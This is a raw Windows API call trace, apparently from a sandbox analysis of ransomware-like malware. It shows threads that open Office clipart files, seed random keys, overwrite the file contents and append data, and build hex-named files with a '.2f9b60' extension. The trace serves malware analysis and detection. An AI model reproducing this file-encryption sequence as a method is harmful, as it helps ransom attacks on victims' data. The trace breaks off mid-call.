RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420537c0 [0164.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420537c0) returned 1 [0164.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d140 [0164.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420537c0 [0164.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053790 [0164.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053790) returned 1 [0164.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0164.395] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="2e") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="b3") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="d8") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="5e") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="93") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="05") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="03") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="6a") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="72") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="17") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="d4") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="7d") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="74") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="ce") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="43") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="64") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="63") returned 2 [0164.395] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="2c") returned 2 [0164.396] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="c6") returned 2 [0164.396] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="1b") returned 2 [0164.396] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="91") returned 2 [0164.396] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="26") returned 2 [0164.396] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="00") returned 2 [0164.396] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="97") returned 2 [0164.396] RtlInitAnsiString (in: DestinationString=0x2c00f6a8, SourceString="2eb3d85e9305036a7217d47d74ce4364632cc61b91260097" | out: DestinationString="2eb3d85e9305036a7217d47d74ce4364632cc61b91260097") [0164.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c00f678, SourceString="2eb3d85e9305036a7217d47d74ce4364632cc61b91260097", AllocateDestinationString=1 | out: DestinationString="2eb3d85e9305036a7217d47d74ce4364632cc61b91260097") returned 0x0 [0164.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce149d0 [0164.397] RtlFreeAnsiString (AnsiString="2") [0164.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420537c0) returned 1 [0164.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c141b0) returned 1 [0164.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501250) returned 1 [0164.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18090) returned 1 [0164.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0164.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7440) returned 1 [0164.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4210) returned 1 [0164.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f42d0) returned 1 [0164.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4300) returned 1 [0164.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30270 [0164.400] wcscat (in: _Dest=0x42c30270, _Source="2eb3d85e9305" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2eb3d85e9305") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2eb3d85e9305" [0164.400] wcscat (in: _Dest=0x42c30270, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2eb3d85e9305.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2eb3d85e9305.2f9b60" [0164.400] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2eb3d85e9305.2f9b60", NtPathName=0x2c00f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2eb3d85e9305.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2bdd0 Thread: id = 2365 os_tid = 0x1d58 [0150.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x20 [0150.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF", dwFileAttributes=0x20) returned 1 [0150.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21d0 [0150.157] GetFileSizeEx (in: hFile=0x21d0, lpFileSize=0x2cdcf720 | out: lpFileSize=0x2cdcf720*=19068) returned 1 [0150.157] SetFilePointerEx (in: hFile=0x21d0, liDistanceToMove=0x4a78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.157] ReadFile (in: hFile=0x21d0, lpBuffer=0x2cdcf6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cdcf6e8, lpOverlapped=0x0 | out: lpBuffer=0x2cdcf6a0*, lpNumberOfBytesRead=0x2cdcf6e8*=0x4, lpOverlapped=0x0) returned 1 [0150.159] SetFilePointerEx (in: hFile=0x21d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f42a0 [0150.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4330 [0150.160] NtQuerySystemTime (in: CurrentTime=0x2cdcf5e0 | out: CurrentTime=0x2cdcf5e0*=132462177553678000) returned 0x0 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x1c6071af [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x4fcd88b9 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x946bb85 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x652d3301 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x5c2b68e3 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x7b5d4728 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x6ea2123d [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x7c8bee1e [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x5043ba77 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x1ab5fca1 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x5b3ce35a [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x6088b542 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x2c9fc87d [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x1fea49a4 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x2f99dcaa [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x2c370671 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x60d3f090 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x4d761884 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x5045bc08 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x58825c79 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0xc16abe [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x7420c5b3 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x5906d068 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x25411b37 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x4dc71d62 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0xdb24671 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x31191596 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x5c8fa65a [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x3d855867 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x220e13d4 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x596cc113 [0150.160] RtlRandomEx (in: Seed=0x2cdcf5d0 | out: Seed=0x2cdcf5d0) returned 0x623d0ff8 [0150.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4360 [0150.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5af30 [0150.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4390 [0150.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5af30) returned 1 [0150.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4330) returned 1 [0150.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424269f0 [0150.170] SetFilePointerEx (in: hFile=0x21d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.170] ReadFile (in: hFile=0x21d0, lpBuffer=0x424269f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cdcf640, lpOverlapped=0x0 | out: lpBuffer=0x424269f0*, lpNumberOfBytesRead=0x2cdcf640*=0x3c00, lpOverlapped=0x0) returned 1 [0150.191] SetFilePointerEx (in: hFile=0x21d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058100 [0150.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5afb0 [0150.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42432110 [0150.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0150.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5afb0) returned 1 [0150.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058100) returned 1 [0150.192] WriteFile (hFile=0x21d0, lpBuffer=0x42432110, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cdcf640, lpOverlapped=0x0) [0186.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42432110) returned 1 [0186.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424269f0) returned 1 [0186.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ceca0a0 [0186.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058470 [0186.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b530 [0186.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca0d0 [0186.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca0d0) returned 1 [0186.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ceca0d0 [0186.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca100 [0186.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca130 [0186.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca130) returned 1 [0186.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b530) returned 1 [0186.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058470) returned 1 [0186.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x43101a40 [0186.539] SetFilePointerEx (in: hFile=0x21d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.539] WriteFile (in: hFile=0x21d0, lpBuffer=0x43101a40*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2cdcf6f0, lpOverlapped=0x0 | out: lpBuffer=0x43101a40*, lpNumberOfBytesWritten=0x2cdcf6f0*=0x10a, lpOverlapped=0x0) returned 1 [0207.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1430 [0207.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1430) returned 1 [0207.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1430 [0207.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1400 [0207.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1400) returned 1 [0207.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.228] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="83") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="5c") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="a9") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="0c") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="d5") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="88") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="29") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="c8") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="fd") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="5a") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="31") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="95") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="7b") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="6e") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="45") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="c7") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="a8") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="f1") returned 2 [0207.228] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="a7") returned 2 [0207.229] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="42") returned 2 [0207.229] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="95") returned 2 [0207.229] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="8a") returned 2 [0207.229] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="90") returned 2 [0207.229] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="7a") returned 2 [0207.229] RtlInitAnsiString (in: DestinationString=0x2cdcf768, SourceString="835ca90cd58829c8fd5a31957b6e45c7a8f1a742958a907a" | out: DestinationString="835ca90cd58829c8fd5a31957b6e45c7a8f1a742958a907a") [0207.229] RtlAnsiStringToUnicodeString (in: DestinationString=0x2cdcf738, SourceString="835ca90cd58829c8fd5a31957b6e45c7a8f1a742958a907a", AllocateDestinationString=1 | out: DestinationString="835ca90cd58829c8fd5a31957b6e45c7a8f1a742958a907a") returned 0x0 [0207.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8c60 [0207.229] wcscat (in: _Dest=0x431c7760, _Source="835ca90cd588" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\835ca90cd588") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\835ca90cd588" [0207.229] wcscat (in: _Dest=0x431c7760, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\835ca90cd588.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\835ca90cd588.2f9b60" [0207.229] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\835ca90cd588.2f9b60", NtPathName=0x2cdcf710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\835ca90cd588.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431296e0 Thread: id = 2366 os_tid = 0x1d5c [0150.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x20 [0150.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF", dwFileAttributes=0x20) returned 1 [0150.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21d4 [0150.173] GetFileSizeEx (in: hFile=0x21d4, lpFileSize=0x2d33fa20 | out: lpFileSize=0x2d33fa20*=580) returned 1 [0150.173] SetFilePointerEx (in: hFile=0x21d4, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.173] ReadFile (in: hFile=0x21d4, lpBuffer=0x2d33f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d33f9e8, lpOverlapped=0x0 | out: lpBuffer=0x2d33f9a0*, lpNumberOfBytesRead=0x2d33f9e8*=0x4, lpOverlapped=0x0) returned 1 [0150.174] SetFilePointerEx (in: hFile=0x21d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4330 [0150.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.174] NtQuerySystemTime (in: CurrentTime=0x2d33f8e0 | out: CurrentTime=0x2d33f8e0*=132462177553834000) returned 0x0 [0150.174] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x61160088 [0150.174] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x3844367a [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x700cd9d8 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x65561b5c [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x6d74f021 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x263503c3 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x6272a941 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x23d026b3 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x6d4a1761 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x63c6fda1 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x588dd3a [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x1ff36702 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x700f1f9c [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x2f98fbd5 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x50ca5ae2 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x3386a095 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x5370fee2 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x7aaaf753 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x389ab76a [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x41e6c806 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x4556087c [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x70a7793 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x1de723e5 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x164a84d4 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x1efd0ccc [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x2f4bfc5c [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x6c7fbc98 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x792d475e [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x26f0c431 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x1fe75ec1 [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x3fa9eebf [0150.175] RtlRandomEx (in: Seed=0x2d33f8d0 | out: Seed=0x2d33f8d0) returned 0x74c131 [0150.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43f0 [0150.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5af30 [0150.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4420 [0150.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5af30) returned 1 [0150.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0150.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420580b0 [0150.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5af30 [0150.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.186] RtlFreeHeap 